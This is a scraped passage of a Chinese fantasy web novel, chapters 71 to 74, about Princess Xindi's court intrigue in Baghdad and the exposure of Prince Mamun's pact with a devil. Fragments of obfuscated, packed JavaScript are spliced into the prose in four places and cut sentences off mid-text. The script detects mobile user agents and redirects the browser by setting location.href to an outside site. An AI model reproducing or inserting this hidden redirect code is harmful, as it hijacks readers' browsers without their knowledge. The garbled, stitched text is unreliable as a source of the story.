l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972922|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形成并不算容易，埃烈经历过那么多城主，没有一个能让他们过上今天的好日子。 当他们看到了辛蒂的队伍，沉默的人群开始喧闹起来。 人们七嘴八舌地开始表达自己对于辛蒂亚公主的尊敬，他们祝福她能永远在真主的庇佑之下。 辛蒂很受触动，她出面安抚着人群，请他们回家，又让他们将带来的食物和牲畜都带回去，她的队伍带不了这么多行李。 人群中有个小孩走上前来，一双大眼睛黑白分明：“尊敬的城主，您还会回来吗？” 她甚至都不懂城主是什么意思，她只知道城主很好，让她常常都能吃到糖块。 辛蒂拿出手帕将小女孩有些脏兮兮的脸颊擦干净，“会的，我会回来的。” 在依依不舍的平民们的送别中，队伍还是出发了。 辛蒂什么都没要，人们只能虔诚地祝愿，愿真主赐予辛蒂亚公主平安和幸福。 尽管辛蒂已经尽量精简了队伍，从埃烈到巴格达，他们还是花费了三个月的时间。 刚到巴格达，她们都没来得及梳洗换装，就在大臣们的催促下前往哈伊尔宫殿觐见哈里发。 不是预料中的单独觐见，母女三人到哈依尔宫殿的时候里面已经有了不少人，几乎大部分王室和重臣都在场。 艾利没有见过这样的大场面，一时间有些害怕，躲在姐姐的背后不敢出来。 阿伊莎硬是将艾利拽了出来，将他推到哈里发的面前，自豪地向他宣布这就是她在埃烈为他生下的儿子。 艾利的面容肖似其父，哈里发拉希德一看就觉得十分亲切。 他看看英姿勃发的女儿，又看看活蹦乱跳的小儿子艾利，感到十分高兴。 辛蒂也在观察哈里发，时隔三年，她发现他竟然老了不少，看起来完全没有了之前的精气神。 哈里发旁边的祖拜达王后倒是容貌不改，脾气也一如既往，看向辛蒂和艾利的眼神十分凶恶。 祖拜达王后尚且能控制住自己不要口出恶言，她的女儿法蒂玛公主就没有那么好的修养了。 她一开口就是熟悉的尖利：“我的好妹妹，你还知道回来，旁边这个小野种是谁？你不会告诉我这是我们的弟弟吧？” “真主在上，哈里发的血脉不容混淆，可不能随便从哪个乡下地方带出来的野孩子就充作是父亲的儿子！” 马蒙佯作呵斥：“法蒂玛，不要胡说！虽然阿伊莎在埃烈产子，艾利的容貌一看就是我们的弟弟。” 他看上去在帮艾利说话，实际上却点出了艾利没有在巴格达，在医师和大臣们的见证下出生的这个关键点。 马蒙的话果然让大臣们出现了几分怀疑的神色，虽然艾利的长相很有说服性，不过这确实不能作为他是哈里发血脉的绝对证明。 辛蒂并不意外他们会提出这样的质疑，要是她是祖拜达王后，也会从这个角度来攻击敌人。 “虽然艾利在埃烈出生，在他满月的时候我仍旧邀请了仙女为他赐福。” 71.精彩宴会 仙女赐福的事是辛蒂之前一早就在给哈里发的信件中提过的，就是为了堵上这个漏洞。 马蒙脸色一僵，显然他事先并不知道这件事。 辛蒂的话让他们彻底无话可说，仙女是不会弄错的，她既然为艾利赐福，这完全可以证明艾利确实是王室血脉无疑。 马蒙和法蒂玛在辛蒂面前折戟，祖拜达王后继续开口道：“辛蒂亚，你一去埃烈就是三年，坑害了许多官员和商人，这就是你作为女儿孝顺父母，作为臣子为国效力的方式吗？” “你弄出来的那些事让你的父亲伤了不少脑筋，还把巴格达闹得人仰马翻，即便在真主面前你也毫无道理！” 所有人都被祖拜达王后的言论惊呆了。 祖拜达王后的话句句公理大义，却又句句都是歪理，偏偏她还是辛蒂亚公主名义上的母亲。 恐怕辛蒂稍稍回嘴，就会引来更多的斥责。 场面一时沉凝下来，哈里发拉希德咳嗽两声，“行啦，你少说两句，辛蒂亚当了三年的埃烈城主，她的成绩有目共睹，你的话太过分了。” “马蒙之前治理的那个小城尚且比埃烈繁荣许多，你看看他都做了什么？辛蒂亚比马蒙强多啦！” “不过辛蒂亚，你让平民和贵族使用一样的纸张确实不妥，以后做事慎重些，别这么轻率。” 哈里发拉希德两三句话将此事轻飘飘地揭过，辛蒂便知道他也是对她的做法不满的。 不过哈里发拉希德更不会站在祖拜达王后那边，坐视她为难自己的子女。 他顺道还有意无意地点了马蒙两句。 马蒙在辛蒂远赴埃烈之后，不甘其下，也自告奋勇，希望能有个地方施展自己的才干。 可惜他没有自己想象中那么能干，在任期间办了不少糊涂事，哈里发帮他擦了好几次屁股。 马蒙被说得脸色难堪，后面不管祖拜达王后怎么给他使眼色，他也一个字都不肯说了。 这场觐见就这样闹哄哄又稀里糊涂的结束了，辛蒂都还没来得及汇报埃烈的情况，不过看起来也没人在乎这件事。 哈里发拉希德让三人下去好好休息，隔天再为她们举办正式的欢迎宴会，顺便正式向所有人介绍艾利的存在。 辛蒂自然还是居住在她的铜宫，阿伊莎不肯住在祖拜达王后安排的宫殿之中，也坚持要带着艾利居住在铜宫。 安顿下来以后辛蒂才有空回想今天发生的事。 哈里发的老态有些奇怪，她记得国内没有发生什么特别的事，难道他生病了吗，看起来不太像啊。 还有法蒂玛，她怎么还没有嫁出去？ 之前听说她和法兰西的王子正式缔结了婚约，按理说她此事应该在法兰西的宫殿之中才对。 倒是马蒙，几年不见他老练不少，不再是之前那副趾高气扬，什么都挂在脸上的样子了。 真怀念阿西玛，不知道她在波斯帝国过的怎么样。要是她还在这里，想必能带给她不少新鲜的消息。 阿西玛指望不上，塔斯妮姆知道辛蒂刚回到巴格达，很多事都不太清楚，第二天就来到铜宫看望她。 在埃烈的这几年，辛蒂和塔斯妮姆的信件没有断过，虽然人不在埃烈，辛蒂仍然知道塔斯妮姆一直没有放弃对于权力的追求。 在和马蒙的婚约彻底取消以后，塔斯妮姆在她的父亲的支持下，积极参与家族事务。 如今她在巴尔克马家族已经有了一定的话语权，隐隐有着家族继承人的风采。 是以她在询问辛蒂有没有什么事她能帮上忙的时候，辛蒂仔细想了想，塔斯妮姆还真有能力帮她。 妮姆已经不再是之前那个哭哭啼啼地来找她的小女孩了，她有了自己的人手和产业。 认真计较起来，辛蒂如今在巴格达，还不如塔斯妮姆能办的事多呢。 而且塔斯妮姆和她见面终究比叶海亚和她见面方便许多。 随着她越来越引人注目，频繁和权臣来往始终有些敏感，而女孩之间的交往则不会引起那么多的关注。 辛蒂于是将她原本预备请叶海亚做的事交给了塔斯妮姆，塔斯妮姆也二话不说地答应了。 她应当是得到过叶海亚的嘱咐，没有对辛蒂的命令提出丝毫的异议。 自从回到巴格达，这是辛蒂第一次升起期待的情绪。 这将会是她在巴格达放的第一把火，每个人都会有怎样的反应呢，希望不要太无趣才好。 两天后专门为辛蒂亚公主举办的宴会上，几乎整个王室都出席了，还有一些大臣。 所有人都想要一睹大名鼎鼎的神佑公主的风采，自然不会缺席这个宴会。 辛蒂还遇到了一些对她大有意见的贵族，他们都是在辛蒂对埃烈的改革中间接的利益受损者。 不过事情发生的时候他们没能对辛蒂造成什么影响，如今木已成舟，他们不管说什么都没用了。 辛蒂只当他们放屁，不过是失败者的叫嚣罢了。 正当哈里发拉希德红光满面地向王室成员们介绍他的小儿子艾利的时候。 一个焦急的奴仆顾不上哈里发不悦的神色，惊慌地闯进宴会大厅，他的秘密汇报让哈里发的脸色顿时阴沉下来。 哈里发拉希德无心将宴会继续下去，草草说了几句就离开了宴会现场。 离开前他还狠狠瞪了祖拜达王后一眼，这一眼让祖拜达王后心惊肉跳，她回想着马蒙是不是最近又做了什么混账事被发现了。 还是说，她的弟弟阿卜杜拉那里出了什么问题？ 宴会的主人都走了，剩下的人自然也无心再继续下去。贵族们纷纷窃窃私语，究竟是什么大事让哈里发如此愤怒。 祖拜达王后得到了不少揣测的目光，许多人都注意到了哈里发的瞪视。 祖拜达王后如坐针毡，不久后也匆匆离开了宴会的现场。 只有辛蒂亚公主，她毫无自己的欢迎宴会被搅局了的不安或者难堪。 她只是细细品尝着手中的纳比兹，这是一种椰枣酿制的酒精饮料，口感甜蜜，深受贵族的喜爱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977712|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而纳比兹实际上是一种违禁饮料，真主的教义中，信徒不被允许饮酒。 制作纳比兹的商人们狡猾地将其作为一种果味饮料进行售卖。 所有人都尝得出其中酒精的味道，不过只要无人追究，它照样可以在大庭广众之下售卖，甚至进入宫廷。 世间的事也是如此，有些人总以为自己的所作所为被掩饰得很好，以为自己的权势能够遮天蔽日。 辛蒂将手中的纳比兹一饮而尽，可惜了，这饮料的味道确实很好。 “逮捕纳比兹的售卖者，以神佑公主之名，他们亵渎了真主的教义。” 此时的祖拜达王后完全没有精力理会自家庇护下的酒水商人被辛蒂亚公主逮捕的这种小事。 她已经知道了哈里发拉希德的愤怒的因由，有来自边境的大商人声称掌握着阿卜杜拉将军谋反的证据。 她在哈伊尔宫殿的眼线告诉她，这个大商人声称阿卜杜拉在边境发行了镌刻着他的名字的货币。 阿卜杜拉的吃穿住行都比照着哈里发的规格，甚至有过之而无不及。 据说如今边境的平民只知道有阿卜杜拉，而不知道哈里发拉希德。 更惊人的是，这位商人还说阿卜杜拉如今正在召集有名望的宗教学者，妄图为自己确立正统的名分。 商人不仅将这事说得有鼻子有眼，还为哈里发呈上了不少的证据，包括阿卜杜拉发行的钱币以及几个来自边境的证人。 这下哈里发就算觉得不可思议，也不得不相信了。 哈里发自然是怒不可遏，立即召集了一支军队，命令叶海亚亲自带领军队，将阿卜杜拉抓回巴格达。 另外他还确定好了接替阿卜杜拉防守边境的人选，这次也跟随叶海亚一同出发。 祖拜达王后知道这些消息的时候，军队并两位将领已经出发了，这是少有的雷厉风行。 她便知道这是哈里发拉希德早就准备好了的，防守边境的将领哪有那么容易确定呢？ 这必定是他早就有心培养，在这关键时刻才将此人拿了出来。 这个商人，莫非也是哈里发拉希德安排好的，就为了能让塞尔柱家族失去军权吗？ 祖拜达王后误会了哈里发拉希德，对于这件事他的愤怒是真实的。 他虽然早有替换阿卜杜拉的想法，阿卜杜拉对于阿拉比亚王国的贡献是实实在在的。 哈里发爱惜人才，一直不能下定决心，万万没想到他有不臣之心，倒叫他觉得信任错付了。 商人从来都无利不起早，他为哈里发带来这么重要的消息，自然图谋回报。 “大胆的商人，说出来吧，你想要什么？不管是金银珠宝还是美女权利，我都可以给你。” “好叫你知道，这是你的忠诚应有的报答。” “我的主人啊，原本一万金币就能打发了我，不过我今日看到了宫门口贴出的招募食材供货商人的告示。” “真主在上，我愿意长久地侍奉您，为王宫供应各式食材哩。” 72.法蒂玛的求助 王宫招募食品供应商的事哈里发是知情的，宴会上的饮料中出现酒的成分确实不符合礼教，他认为辛蒂亚公主对于售卖者的处置是合理的。 没想到处置一个纳比兹的供货商，牵连出了一系列王宫的食材供应商，或多或少，他们都有问题。 而且祖拜达王后把持着宫廷，这些商人都通过塞尔柱家族的举荐，这让本来就因为阿卜杜拉烦恼的哈里发更加生气，索性将他们全部发落了。 现在这个商人主动表示自己可以干这事，还不需要额外的奖励，且正好确实王宫有这样的需求。 哈里发没有多加思考，直接同意了商人的请求。 因为操心阿卜杜拉，祖拜达王后完全将食材供应商的事抛之脑后。 直到一个月后，她发现收到的商人们的分红少了许多时，她才从女奴的口中知道了王宫更换了食材供应商的事。 “该死的奴隶，你怎么不早些告诉我！”祖拜达王后大发雷霆，将手中的信纸甩到了女奴的身上。 “我禀告过您的，就在您写信给阿卜杜拉将军的时候，您还记得吗？”女奴面色平静，她早就习惯了祖拜达王后的阴晴不定。 祖拜达王后的愤怒更加高涨，她叫人拿来她的鞭子，将女奴狠狠抽打了一番，直抽得她哭泣不已，连连求饶才肯罢休。 等心绪稍稍平静下来，祖拜达王后直觉地认为这事必然和辛蒂亚公主脱不开干系。 真是卑劣的老鼠！可是眼下她不能有任何的动作，阿卜杜拉那边还不知道情况如何。 虽然那个商人言之凿凿，还拿出了很多实证。祖拜达王后还是不相信她的弟弟会背弃她们母子，做出这样的事。 她心中仍旧怀着一丝希望，祈祷着这一切都是泼到她可怜的弟弟身上的污水，真主会证明他的清白。 在此之前，她必须沉住气，不能被人抓住把柄，且让那两个小杂种得意一阵子吧！ 辛蒂并不觉得得意，这些不过是她的计划中的一部分。这一切都像机器那样有条不紊地运行着，她并不觉得有什么好得意的。 要是事情的发展出乎了她的预期，她才会惊讶呢。 她刚刚听说了一个有趣的消息。 原来法蒂玛之所以没能履行婚约，是因为她遭到了法兰西王子的拒婚。 这事说来意料之外情理之中，大流士王子回国之后并不甘心就这样出局。 尤其是他的哥哥萨尔贡竟然娶了阿拉比亚王国的阿西玛公主，他挑剩下的女人如今却高高在上地俯视他，这让他尤其受不了。 这时候他听说了法蒂玛和法兰西王子的婚讯，立即以匿名人士的口吻向法兰西王子写信。 信中揭露了法蒂玛的恶劣性格，以及详细描述了她还有过一段不堪的情史。 法兰西王子偷偷派人调查后，发现果然如此，于是毅然取消了婚约。 他虽然没有将取消的原因大白于天下，不知道是谁走漏了风声，如今法蒂玛的名声在各国间都臭不可闻。 从声名狼藉来说，她如今倒是和大流士王子十分相配。 听说现在求娶法蒂玛的身份能匹配上的不是鳏夫就是身有残疾者，以至于几年过去，她现在已经算是老姑娘了，还是没能嫁出去。 辛蒂有些同情法蒂玛，她虽然脾气坏点，却罪不至此，尤其这件事终归究底还是她遭到了大流士的欺骗，否则她的人生会十分顺利。 不过辛蒂也不会主动帮她做些什么，只感叹这个世道对于女子来说还是太过严苛了。 辛蒂没有再关心法蒂玛的消息，没想到她竟然有一天主动找上门来。 她们的上一次见面还是在哈伊尔宫殿中，法蒂玛充当她母亲的唇舌试图叫辛蒂难堪。 这次法蒂玛却全无之前的嚣张神色，她原本是丰满高挑的身形，如今却有些瘦脱了形。 她扑通一声跪倒在辛蒂的面前，“你不是号称受到真主的庇佑吗，求真主也帮帮我！” 在辛蒂的授意下，女奴哈迪贾将法蒂玛扶起，用热毛巾细细为她擦干净脸上的泪痕，又服侍她喝下了一碗热热的姜枣茶。 这时候她基本平静了下来，辛蒂才问她究竟发生了什么事。 原来自从法兰西的王子取消了婚约后，法蒂玛的日子并不好过。 她不仅要承受着外界的冷嘲热讽，还有她母亲的斥责。 在祖拜达王后看来，法蒂玛最大的价值就是联姻，如今她失去了价值，她自然怎么看她怎么不顺眼。 法蒂玛自然也感受到了这一点，原来骄纵的公主如今变得小心翼翼，生怕惹了祖拜达王后不快。 法蒂玛还向辛蒂道歉，她说之前在哈伊尔宫殿的时候，那些话不是出自她的本心。 她不是不懂感恩的人，辛蒂的劝说让她迷途知返，她是感谢辛蒂的。 可是为了讨好祖拜达王后，她只能这样做。 这段时间因为阿卜杜拉的事，祖拜达王后烦心不已。 可能是急病乱投医，她想团结一切可以团结的力量，于是将目光瞄准了她之前看不起的大流士王子。 “我宁愿去死，也绝不会嫁给那个人渣。他的斑斑劣迹母亲也知道得一清二楚，可是为了舅舅和哥哥，她还是希望我嫁给他！” 法蒂玛的声音含泪，有着说不出的悲伤和绝望。 祖拜达王后这样的行为未免太难看了。大流士王子大概率是帮不上她的，可是她还是要把法蒂玛推入这个火坑。 辛蒂猜测她应当是觉得法蒂玛再也没用了，嫁出去争取一点帮助总比让她待着吃白饭好。 法蒂玛觉得绝望寒心，辛蒂和众女奴亦因为祖拜达王后的绝情打了一个冷颤。 眼下形势还不明朗，祖拜达王后就迫不及待地要拿自己的女儿开刀了，这份狠心实在是有些吓人。 辛蒂同情法蒂玛，可是她却不认为自己能帮上她的忙，“你的母亲要为女儿定下婚约，哪怕对方是个乞丐也不是我一个小小的公主能质疑的。” “或许你应该去向哈里发寻求帮助，我实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982163|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无能为力。” 法蒂玛闻言，神色变得更加灰败：“没用的，父亲也知道这件事，他什么都没说。” 辛蒂的拒绝没有转圜余地，法蒂玛也没有脸面继续纠缠下去。 想想就知道了，辛蒂亚怎么可能帮助一个曾经欺侮过她的对象呢？她能听她倾诉、给她片刻的安宁，这已经是恩惠了。 辛蒂看着呆立在原地的法蒂玛，准备吩咐哈迪贾送她回到她自己居住的宫殿。 法蒂玛竟然一个奴仆或者侍卫都没带在身边，也不知道她是怎么甩开那些人的。 法蒂玛的神色犹疑不定，片刻后，她似是终于下定了决心。 “我有一个关于马蒙的秘密，你要是愿意帮助我摆脱我母亲的摆布，我就将这个秘密告诉你。” 法蒂玛的拳头紧紧攥着，她不确定辛蒂是否需要马蒙的把柄，但是她眼下只有这一个筹码了，只能赌上一赌。 她甚至也不能确定辛蒂亚是否有帮她的能力，但是她已经没有选择了。 在这个偌大的宫廷中，只有辛蒂亚能将她的母亲气到风度全失，要是辛蒂亚帮不了她，她也不知道应该找谁了。 辛蒂当然很感兴趣，她想起来之前马蒙的前未婚妻塔斯妮姆也在铜宫中告诉了她一件关于马蒙的事。 现在马蒙的妹妹为了摆脱家族的控制，也站在了这里，将马蒙的秘密作为交换条件。 多么有命运感的巧合，也不全是巧合。以马蒙的为人，或许众叛亲离就是他注定的结局。 “说下去，我什么都不能承诺给你。不过要是你的秘密分量足够，我可以尝试帮你脱离困境。” 走投无路的法蒂玛只能选择相信辛蒂不会过河拆桥，她沉声道：“父亲的加速衰老是马蒙造成的。” 这实际上只是法蒂玛的一个猜测，她不像塔斯妮姆一样撞见了马蒙虐杀小动物的现场，而是凭借蛛丝马迹得出了这个结论。 法蒂玛过去和马蒙的关系很好，不需要许可就可以随意进出马蒙的宫殿。 她是马蒙很好的玩伴，虽然对于马蒙喜欢虐杀动物的习惯觉得恶心，但是为了讨好他，法蒂玛对此视若无睹，甚至放任他杀掉自己的宠物。 因此马蒙很喜欢并且信任这个妹妹，从不在她面前掩饰自己。 “在父亲的头发中出现一缕白色的时候，我很清楚地看到马蒙笑了，跟他抓住猎物时的笑容一模一样！” “我从那时起就怀疑是不是他在父亲的饮食中做了什么手脚，导致了父亲的衰老。” 不知想到了什么，法蒂玛的语气中多了几分恐惧， “后来，我推翻了这个猜测。因为他根本接触不到父亲的饮食，而且我在他的宫殿中发现了一些似乎和诅咒相关的器物。” “所以我认为，他在诅咒父亲！” 法蒂玛知道自己的猜测站不住脚，没有任何的真凭实据，害怕辛蒂亚认为她在胡说。 好在她看到辛蒂亚露出了若有所思的神情，并没有用看疯子的眼神看她。 73.法蒂玛的爆发 “你还记得马蒙的宫殿中，那些器物长什么样吗？” 法蒂玛对那些东西印象深刻，当时她只觉得很像是她在故事书里看过的关于诅咒的器具，但是她并不确定，害怕误解了马蒙。 于是她回去后立刻将那些东西画了下来，还偷偷请教了一些学者，得到了肯定的答案。 根据法蒂玛的描述，辛蒂心里基本有数了。 法蒂玛猜对了一半，那些器物确实可以用于诅咒，也可以用来和魔鬼交易，后者的可能性更大。 根据辛蒂对于马蒙的了解，以及马蒙和阿赫勒教团的渊源，马蒙大概率是在和魔鬼做交易。 这并不是一件让人意外的事，在埃烈的时候辛蒂就已经知道得一清二楚。 不过辛蒂从未将哈里发拉希德的突然衰老和马蒙联系在一起。 一来虽然真主是否真实存在未可知，不过哈里发身上确实有一种特殊的庇护力量，魔鬼几乎无法伤害到哈里发，较为弱小的魔鬼甚至会畏惧哈里发的威势。 二来辛蒂始终认为马蒙没有急着上位的理由，表面上看他几乎没有任何的威胁，只需要等待就是稳稳的下一任哈里发。 而且马蒙还很年轻，再等个十年八年正是继位的好时候。 但是法蒂玛的怀疑并非是毫无道理的，她可能是王宫中最了解马蒙的人，她的直觉非常可信，具备验证的价值。 不过辛蒂疑惑的是，“你和马蒙的关系不是很好吗？”只因为她不想嫁给大流士就将马蒙出卖了吗？ 法蒂玛话中的恨意不似作假，“我以为很好，可是当我向他求助的时候，他一点都没有帮我的意思。” “那个时候我才明白，塞尔柱家都是一群只知道利益的冷血动物。” 她露出了一个冰冷的微笑，“包括我。” “你有想过这件事要是是真的，马蒙就会被你害得失去继承人的位置，甚至失去生命吗？” 很难说法蒂玛如今的状态说的是不是气话，她以往的形象一直都是意气用事的。 “我知道，那也是他罪有应得。”法蒂玛的表情是出人意料的平静。 辛蒂纤细白皙的手指敲击着红木桌几的边缘，哒哒的声音让法蒂玛心慌，良久以后，辛蒂终于做出了决定。 “你的秘密很有价值，法蒂玛，不过还不够。” “我需要你帮我找出马蒙这么做的原因，并且亲自在哈里发面前揭露这件事。” 辛蒂无视了法蒂玛苍白的脸色，她之前说自己无能为力并不全是托词，她不可能为了法蒂玛公然对抗祖拜达王后，这不利于她的名声。 她必须要清清白白，毫无污点地拿到继承人的位置。 “这算是我给你的解决现状的办法。” “在这个过程中你会受到真主的庇护，无人能伤害到你。我可以向你保证，你完成这件事后，你的家族再也没办法控制你。” “你将会得到前所未有的自由，你的婚姻和人生，都可以由你自己做主。” 说到这里，法蒂玛看到她这个看起来单纯无害的妹妹露出了一个带着神性的微笑，其中有着无限的悲悯。 “法蒂玛，这是一场交易，最终你会依靠自己的力量赢得这一切。” 法蒂玛无法拒绝辛蒂向她描绘的前景，即使代价是需要她背弃自己的亲人乃至家族。 那又怎么样呢，是他们先背弃她的。 送走法蒂玛后，辛蒂感到十分愉快，她这两天正好在思考应该由谁刺上马蒙一刀，没想到法蒂玛就送上门来。 不会有比她更好的人选了，希望法蒂玛能抓住机会，早日动手。 在此之前，辛蒂需要先解决掉和马蒙做交易的那个魔鬼，这是计划中最大的变数。 若无意外，这个魔鬼应当就是之前在埃烈的时候，被魔鬼先生啃掉一大块的魔鬼。即使如此，祂的力量也不是她能抗衡的，还是需要向外借力才行。 简单的仪式后，魔鬼先生出现在了辛蒂的面前。 “人类，你又找我做什么？” 魔鬼先生的语气不太好，不过辛蒂敏锐地注意到他的称呼是“人类”，而非经典的“愚蠢的人类”。 祂应当在之前获得了不少好处，以至于态度好了那么一丁点，祂受益不少这一点从祂愈发神秘的气息中也能看出来。 辛蒂对于接下来的提议有了更多的把握。 “魔鬼先生，我有一个主意，可以帮助您彻底吃掉之前的那个魔鬼，您意下如何？” 魔鬼先生没有说话，不过从波动的黑色中，辛蒂感受到了祂非常愿意。 “我不太了解魔鬼界的规矩，不过据我的观察，你们不能伤害现世的哈里发。” 辛蒂的语气笃定，实际上却在试探魔鬼先生的反应，见祂没有异议，辛蒂才继续道： “恰好，我知道那个魔鬼正在做出这样有违真主，危害哈里发的举动，这完全可以成为您吃掉祂的理由。” 魔鬼先生的反应比辛蒂想象中平淡得多，祂早知道这件事。 “祂的举动得到了哈里发的儿子，下一任哈里发的准许，这便不算违反了规则，连圣光都没有阻止祂。” 原来如此，魔鬼先生的话坐实了法蒂玛的猜测，辛蒂百思不得其解的疑问也得到了解答。 辛蒂还得到了更重要的信息，魔鬼先生没有反驳关于真主的部分，那是不是就意味着真主是真实存在的？ 就像圣训中所说的那样，祂约束着魔鬼，不叫他们为祸人间。 从辛蒂的反应中，魔鬼先生知道祂被套话了，祂感到不悦。 “愚蠢的人类，魔鬼的信息从来都不是免费的，你要为你的狡诈付出代价。” 真稀奇，一个魔鬼竟然认为人类狡诈。 “您先别急，哈里发的继承人马上就会被废黜，到时候就是您的机会。” 只要马蒙不再是继承人，他的话自然就失去了价值，也就意味着和他交易的魔鬼触犯了规则。 这个消息对于魔鬼先生来说是很有价值的，所有魔鬼都在互相觊觎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985453|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祂提前有了消息，就可以早别的魔鬼一步，而不是只能在事后扼腕叹息。 辛蒂答应到时候会第一时间告诉魔鬼先生这件事，魔鬼先生也就大方地表示不再计较她的套话。 辛蒂还想询问关于真主的事，她刚开了一个头，就被魔鬼先生周身忽然凛冽起来的气息一震，不敢再问。 现在便是万事俱备，只欠东风了，只希望真主保佑，东风不要吹歪了才好。 朱马达?敖外鲁月二十日，拉希德历三百十一年，这注定是一个会被载入史册的日子。 在这一天，哈里发拉希德大女儿，法蒂玛公主在诸位大臣的见证下，揭发她的哥哥，王国的继承人埃米尔马蒙勾结魔鬼，妄图危害哈里发！ 不仅如此，法蒂玛公主还告诉了大臣和学者们埃米尔马蒙的残暴一面。 从她养过的宠物到马蒙身边的女奴侍卫，不少人都遭到了马蒙的毒手，被他虐杀致死。 法蒂玛公主的准备十分充足，她不仅描述详尽，还拿出了从马蒙宫殿中搜出来的相关器物，以及马蒙手下幸存的女奴人证。 法蒂玛公主最后陈述道：“我一直以来，帮助马蒙掩盖着他的恶行，受到良心的谴责良久。” “直到他出手危害哈里发，这是我无论如何都无法容忍的。” “马蒙不是一个合格的兄长或是儿子，他更不配做阿拉比亚王国的继承人！” 哈里发拉希德早就觉得自己的衰老有些异常，可是医师都告诉他这是他操心公务太过所致，他便一直都没有放在心上。 现在才知道这竟然是他的好儿子马蒙搞得鬼。 他一面对法蒂玛的陈述信了大半，一面又怀疑是不是法蒂玛因为婚事对他的哥哥和母亲怀恨在心，以此污蔑马蒙。 他忍不住质问道：“马蒙不会这么做的，这其中是不是有什么误会？” 旁观的大臣和学者们也忍不住点头，明眼人都知道，这完全是饮鸩止渴，就算马蒙成功害死了哈里发拉希德，乌莱玛们也会发现他和魔鬼的交易。 到时候马蒙就会失去他的地位和他的一切。 法蒂玛冷笑一声，哈里发一时间竟然觉得她不像是之前那个任性的女儿了，像是第二个辛蒂亚。 “想必各位都听说过穆塔之战，魔鬼向马蒙许诺，要是马蒙在成为哈里发后，让阿拉比亚人背弃真主，改信魔鬼，祂就可以帮助马蒙征战其他王国，统一这片大陆。” 这里都是真主的信徒，闻言四周一片哗然，纷纷议论起这个狂悖之徒来。 法蒂玛的话还在继续，“马蒙不仅仅是和魔鬼交易，他不满足于王后对他的控制，还有哈里发对他的斥责，轻信魔鬼。” “等他成为了哈里发，就是在座诸位的死期，魔鬼会吞噬每一个阿拉比亚人的灵魂！” 法蒂玛的话并非不可能，这让所有人都心惊胆战，仿佛已经看到了那样一个黑暗的未来。 这些话法蒂玛公主是编不出来的，只可能是她从马蒙嘴里听来的，多么可怕啊。 74.最后 大臣们等不及去往马蒙宫殿搜集证据的侍卫们，纷纷请求哈里发罢黜马蒙，另选新的继承人。 哈里发拉希德气得脸色铁青，他毫不怀疑马蒙真的能相信魔鬼的鬼话，毕竟他很清楚马蒙的愚蠢。 不过不能通过法蒂玛的一面之词就给马蒙定罪，还是要充分收集证据才好服众。 祖拜达王后在得知消息后，来不及唾骂女儿的倒戈，也来不及细想马蒙是否真的做了这些蠢事。 她的心里只有一个念头，完了，不管是她还是塞尔柱家族，都完了。 前些日子祖拜达王后的弟弟阿卜杜拉已经被定罪行刑，她不敢露出丝毫的悲伤，唯恐被人抓住把柄。 没了阿卜杜拉的撑腰，塞尔柱家剩下的都是蠢蛋庸才，她能指望的就只有他的儿子，未来的哈里发。 她原本以为只要蛰伏下去就好，等马蒙继位，塞尔柱必定能恢复以往的荣光。 没想到马蒙这里又出了岔子，怪不得他这段时间总是心神不属的样子，都怪她没能早日注意到他的异状。 现在想这些为时已晚，祖拜达王后此时脑海中异常清明，她知道她期许的权势和财富已是水中泡影，她只希望马蒙能留下一条命。 想到这里，祖拜达王后吩咐女奴替她请马蒙来到宫殿中。她自己则亲自收拾金银细软，现在离开阿拉比亚王国或许还能活下去。 真主保佑，马蒙顺利地被请到了她的宫殿里，他完全搞不清眼下的情况，一张嘴就开始嚷嚷道：“母亲，一些该死的侍卫说是得到父亲的命令搜查我的宫殿。” “我可是埃米尔马蒙，他们怎么能这样冒犯我！” 在阿卜杜拉被定罪行刑的时候祖拜达王后没有慌，在听到法蒂玛在哈伊尔宫殿揭穿马蒙的时候她也没有失去镇定。 但是看到马蒙死到临头，还是如此不知所谓的时候，她的心中涌起了深深的悲凉。 祖拜达王后想不通，她一世英名，是怎么将儿子养成如今这个蠢样子的。她冷眼看着马蒙，他衣衫不整，不知道刚从哪个女人的被窝里出来。 祖拜达王后恨声道：“你自己的宫殿里有什么你不清楚吗？” 马蒙没有得到预想中的安慰，他的母亲也没有半点要替他撑腰的意思。 看着祖拜达王后冰冷的目光，马蒙的眼中终于有了些慌张，可是他仍旧强词狡辩道：“什么都没有！就算搜出来什么，我可是父亲唯一的继承人，他们能把我怎么样？” 祖拜达王后冷笑一声，她恨不得将马蒙的头塞进冰水里让他好好清醒清醒。 